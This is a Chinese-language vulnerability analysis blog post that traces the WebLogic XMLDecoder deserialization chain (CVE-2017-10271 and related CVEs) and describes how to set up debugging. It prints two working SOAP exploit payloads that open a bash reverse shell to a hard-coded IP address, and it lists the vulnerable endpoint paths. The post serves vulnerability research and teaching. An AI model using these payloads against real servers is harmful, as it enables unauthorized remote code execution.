Weblogic XMLDecoder 漏洞觸發鏈分析

2020-12-14 湖南蟻景

跟進近幾年weblogic漏洞分析與利用技術,進一步填補自己在Java分析技術方面的空白,本文分析近幾年weblogic爆出的經典漏洞,以及調試環境。

0x01 Weblogic 介紹

Weblogic是一種web伺服器,在很多中小型項目中廣泛使用,和tomcat一樣是一種web容器,是一個基於j2ee架構的中間件。BEA WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和資料庫應用的Java應用伺服器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。近年來weblogic不斷爆出了各種反序列化漏洞及補丁繞過漏洞,我也對最近的Weblogic漏洞進行分析和利用。

0x1 漏洞概述

CVE-2017-3506/ CVE-2017-10271/CVE-2019-2725/CVE-2019-2729是同一個漏洞的一系列繞過(這幾個漏洞的觸發過程完全一樣,以為本文主要介紹觸發鏈所以任選其一),本篇主要介紹CVE-2017-10271的漏洞觸發過程,反序列化部分及漏洞補丁繞過方法在其他文章中單獨分析。

0x2 分析內容

重點分析解決在漏洞調試過中的難點

一般分析WebLogic的博客沒有介紹WebLogic Servlet/Webservices機制,本篇通過路由分析Servlet調用機制,尋找漏洞點,完成漏洞利用鏈。

0x02 漏洞環境搭建

為了方便各種漏洞調試工作,分兩種情況搭建調試環境,本地和遠程。分別描述這兩種的搭建細節及注意點。

合天網安實驗室相關實驗推薦--Docker你應該會玩

0x1 本地調試環境

在本地安裝並調試weblogic服務

Step 1 安裝Weblogic

去官網下載相對應版本的Weblogic

Step 2 配置項目信息

添加Weblogic服務,把安裝好的weblogic目錄放在Application Server那一欄,並且輸入安裝時設定的用戶名和密碼。點擊確定

Step 3 運行項目

點擊運行按鈕運行項目,成功後會出現上述頁面。

0x2 遠程調試環境

以docker虛擬環境為基礎調試環境,利用客戶端調試器連接部署在docker容器上的WebLogic服務。

Step 1 打開WebLogic遠程調試

vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

重啟docker容器

Step 2 下載項目代碼

遠程調試同樣也需要代碼而且最好和伺服器上的代碼相同,我們從docker容器中將項目代碼拷貝出來

docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars

同時將相同目錄下modules目錄拷出

Step 3 配置idea調試器

打開右上角 Edit Configuratoins

Step 4 添加庫

若想調試jar或war包中的內容需要把對應的jar包添加到Libraries中,右鍵相對應的模塊代碼出現下圖,點擊添加即可。

添加庫後的jar包和war包可以看其中反編譯後的代碼

0x03 漏洞調試分析

學習了網上好幾篇分析文檔,沒有說明從一開始的web請求到漏洞觸發的全過程,一般只分析了後面從servlet開始部分,而對前面尋找servlet的過程沒有分析,為了更好的了解漏洞是怎麼形成的,先從CVE-2017-10271開始分析,一步步尋找函數調用鏈,為心中的問題答疑解惑。

0x1 測試poc

利用網上公開的poc測試weblogic服務

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0">

<void>

<array length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.0.115/31 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

通過觀察調用棧可以輕鬆的下斷點進行調試。

0x2 漏洞初步調試

第二步利用poc的調用棧將斷點下在比較深的位置WorkContextXmlInputAdapter的readUTF函數,並根據poc跟蹤觸發過程。

參數var1是post請求內容,利用this.readHeaderOld讀取post中的主題部分,繼續往下跟進。

var4變量是從post stream中讀取的主體部分,也是soap協議要解析的內容。這部分代碼的最後接著把xml內容封裝成類繼續向下傳遞。

下面的調用代碼比較短小,放在一起查看調用鏈。這個點很關鍵WorkContextMapInterceptor的receiveRequest方法,這是不同servlet調用漏洞點的最小單元,換個說法一旦有servlet調用這個類的方法就有可能觸發漏洞。

最後在這裡觸發反序列化,將xml中的內容解析成了對象,並執行其中的惡意代碼。

0x3 調試中思考的問題

1.漏洞產生的原因及位置

2.url對應的路由問題

3.完整觸發過程是怎麼樣的

漏洞產生的原因及位置

網上絕大部分文章說漏洞產生的原因是Weblogic的WLS Security組件產生了問題,存在問題的組件有wls-wsat.war和bea_wls9_async_response.war。這麼說來漏洞位置在組件中了?並不是想像中的那樣,具體來說漏洞產生在組件的路由中。我們先看一下其中的一個組件

標準的web.xml url與servlet對應關係,打開其中一個servlet-class我們可以看到使用了webService 解析soap請求並且綁定了處理協議的路由。

所以就可以這麼說,漏洞並不在組件中,而在於servlet請求處理中,所以只要能出發該servlet並帶有poc代碼就可以觸發漏洞,這個結論才是對的。還記得在上個小節中的關鍵類WorkContextMapInterceptor的receiveRequest方法嗎?我們找到了其他的觸發路由都調用了該方法進行處理soap內容

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/CoordinatorPortType

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

/_async/AsyncResponseServiceJms

/_async/AsyncResponseService

/_async/AsyncResponseServiceHttps

那麼從項目中發現了大量可以觸發漏洞的路由。_async屬於bea_wls9_async_response.war中的路由,觸發代碼也和wls不同,poc如下

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.8.0_131">

<void>

<array length="3">

<void index="0">

<string>bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.0.115/31 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body>

</soapenv:Envelope>

將兩個的調用棧放在一起對比可以看出一個關鍵的函數

由以上可以看出漏洞出現在解析xml的函數上,觸發在servlet路由上,所以找到使用WorkContextMapInterceptor的servlet就可以觸發漏洞。

url對應的路由問題

在調試的時候心中有個問題,url和JAXWSServlet/BaseWSServlet是怎麼對應上的。理解這個問題先要看*Servlet是怎麼出來的。

因為這一塊不是分析重點所以簡化描述過程,在StandardURLMapping的getExactOrPathMatch方法有個根據url尋找Object,首先會在matchMap中尋找一遍,找到之後就把值給var4,接著傳遞給var5,就會完成一次servlet查找

將url按照/進行分批查找,例如/wls-wsat/RegistrationPortTypeRPC,會首先查找wls-wsat這個war包,然後第二次匹配包中的RegistrationPortTypeRPC類,如下圖所示

分析到這心中又出現了一個問題,最終生成的是 JAXWSWebAppServlet 而不是JAXWSServlet這是為什麼呢?其實通過代碼可以找到答案

JAXWSWebAppServlet是JAXWSServlet的子類,在子類調用自身不存在的方法時就會從父類中尋找並調用。

完整觸發過程是怎麼樣的

完整的觸發過程自然的分為兩步,servlet生成和servlet調用,通過weblogic.kernel中的線程生成對應的servlet,如下表

url servlet

/_async/AsyncResponseServiceHttps WebappWSServlet

/wls-wsat/RegistrationRequesterPortType11 JAXWSWebAppServlet

接著會把函數棧清空,然後調用weblogic.work線程執行servlet,從而觸發在servlet中解析soap請求的xmlDecoder.readObject函數。具體過程如下圖:

包含payload的InputStream如下圖:

0x04 總結

通過此次漏洞調試掌握了以下內容

1.weblogic框架調試以及intellij Idea調試技巧

2.weblogic servlet初步分析

3.輸入數據流追蹤技術&漏洞觸發過程分析

還有接下來要做的事情

相關焦點

  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    本文涉及靶場知識點-CVE-2020-14882&14883 weblogic未授權訪問漏洞https://www.hetianlab.com/expc.do?使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic伺服器上以未授權的任意用戶身份執行命令。
  • 漏洞復現之三:CVE-2021-2109 Weblogic Server RCE
    0x00 漏洞描述CVE-2021-2109,該漏洞為Weblogic的遠程代碼執行漏洞。
  • 分享一個超實用的中間件ApacheTomcat漏洞升級方案
    分享一個超實用的中間件ApacheTomcat漏洞升級方案 最近公司漏洞掃描發現了一大批的高危漏洞,需儘快修復,今天來說一說中間件Tomcat漏洞修複方法,Tomcat是一款開源的軟體,官方沒有補丁這麼一說,只能小版本進行升級,具體操作清下看!
  • Weblogic IIOP反序列化分析(CVE-2020-2551)
    No.2 漏洞概述2020年1月15日, Oracle官方發布了CVE-2020-2551的漏洞通告,漏洞等級為高危,CVVS評分為9.8分,漏洞利用難度低。之後繼續往下走,可以看到反序列化的觸發的惡意類 EvilMessage 被封裝在了Stub data中,但是他並不是一個標準的Java反序列化過程。
  • Golang XML解析器漏洞可引發SAML 認證繞過
    Golang XML解析器漏洞可引發SAML認證繞過 12月14日,Mattermost與Golang團隊發布了3個Go 語言XML 解析器安全漏洞。漏洞影響多個基於Go 的SAML 實現,可能引發完整的SAML 認證繞過。
  • 「漏洞復現」Weblogic反序列化漏洞(CVE-2018-2628)
    漏洞描述Weblogic Server中的RMI 通信使用T3協議在Weblogic Server和其它Java程序(客戶端或者其它Weblogic Server實例)之間傳輸數據, 伺服器實例會跟蹤連接到應用程式的每個
  • CVE-2020-9484 tomcat session反序列化漏洞分析
    本文藉助CVE-2020-9484 Tomcat漏洞詳細的介紹了本地和遠程調試Tomcat 源碼。分析漏洞成因以及補丁修補情況,以及分析ysoserial反序列化鏈。從官網下載tomcat 8.5.300x1 配置session持久化conf/context.xml<Manager className="org.apache.catalina.session.PersistentManager
  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
  • 使用Windows與Android雙平臺在野漏洞利用鏈的APT攻擊活動
    Google ProjectZero與威脅分析小組(TAG)披露了一個高級可持續性威脅(APT)攻擊活動,該漏洞利用鏈分別針對Windows和Android用戶進行0day漏洞攻擊。
  • Yii2 反序列化漏洞復現分析
    1、漏洞描述Yii是一套基於組件、用於開發大型Web應用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。
  • 長亭科技聯合區塊鏈領先企業共同支撐《區塊鏈漏洞定級細則》的...
    近日,國家區塊鏈漏洞庫聯合行業領先企業共同編制的《區塊鏈漏洞定級細則》終於面世。長亭科技區塊鏈安全專家團隊牽頭並深度參與了本次的定級細則編制工作,負責公鏈板塊定級細則編寫及整體技術、劃分標準的把關。《細則》涵蓋公鏈、聯盟鏈、智能合約、外圍系統四大板塊,填補了區塊鏈與安全行業溝通空白,為業界就區塊鏈安全問題達成共識邁出了堅實的一步。這是國際上首次對區塊鏈安全漏洞及其威脅等級做出清晰且可執行的定義。
  • D-Link-Dir-850L遠程命令執行漏洞
    現今公布了Hack2Win競賽中提交的3個漏洞的相關細節,地址:https://blogs.securiteam.com/index.php/archives/3364。通過廣域網或區域網實現遠程代碼執行通過廣域網或區域網實現遠程未授權信息洩露通過區域網實現root用戶遠程代碼執行這裡僅僅分析遠程命令執行的漏洞。
  • CVE-2013-3906漏洞分析
    關於這個漏洞還有一些趣聞。這兩天拿這個漏洞練了一下手。下文記錄了我對該漏洞的分析過程,側重於漏洞分析方面,本文對該漏洞用到的堆噴射和利用技巧不做討論,如需了解這些請閱讀本文的參考連結。需要注意的是,在Windows 7+office 2010環境下ogl.dll並不存在,所以該漏洞不影響這一環境。
  • 《寶可夢》遊戲漏洞:可以用來觸發其它bug的老人漏洞!
    在初代的時候,要說比較出名的漏洞,老人漏洞絕對可以算是一個,老人漏洞之所以被叫做老人漏洞,就是因為它的觸發方式一般跟在常磐市教玩家如何捕捉寶可夢的老人有關係,所以就被叫做老人漏洞了,為什麼這個漏洞出名,就是因為通過這個漏洞可以觸發其它的漏洞,比如我們之前說過的MissingNO.就是可以通過老人漏洞來觸發的
  • 漏洞分析 | Laravel Cookie偽造漏洞分析
    Laravel發布安全通告,修復了一個Cookie偽造漏洞。這個漏洞利用難度較高,需要程序會對用戶輸入進行加密,並返回加密結果。由於未將cookie-value與cookie-name進行綁定,導致可以通過構造合法密文來進行cookie偽造,造成邏輯漏洞,當Session_handler為cookie時會造成遠程命令執行。
  • phpStudy後門&泛微RCE&CiscoRCE漏洞分析
    phpMyAdmin 0day漏洞2.根據情報得知,其實早在2019年6月研究人員就發現了該漏洞,並很快提交該漏洞到了項目維護人員。但phpMyAdmin項目維護人員沒有在90天修復該漏洞,因此研究人員決定公開該漏洞的詳解和PoC代碼。攻擊者可利用該漏洞來刪除受害者伺服器上的phpMyAdmin面板上的設置頁面中配置的任意伺服器,但並不允許攻擊者刪除伺服器上保存的資料庫或表。
  • Apache Dubbo反序列化漏洞(CVE-2019-17564)
    No.2 漏洞描述Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled上面這部分是官方描述,也就是說當HTTP remoting 開啟的時候,存在反序列化漏洞。有一點在描述中值得注意的,也就是說它影響不只是dubbo,還有spring-web(5.1.9.RELEASE)之前。
  • 網站安全公司 修復PHP反序列化漏洞
    php的反序列化漏洞,php的盲點,也是一個常見的漏洞,這種漏洞充滿了一些場景,雖然有些很難調用,但是成功的後果很危險。漏洞形成的根本原因是沒有序列識別程序,從而導致序列字符串的檢測。反序列化漏洞不僅僅存在於php中,而且還存在於java、python中。基本上是一樣的原理。
  • 淺析phar反序列化漏洞攻擊及實戰
    前言 phar反序列化漏洞很久之前就開始接觸了;因為當時出了點問題導致一直無法成功,所以當時直接去學習其他的漏洞了;今天覺得是時候把這個漏洞補上去了;漏洞成因 >phar文件會以序列化的形式存儲用戶自定義的meta-data;該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作原理分析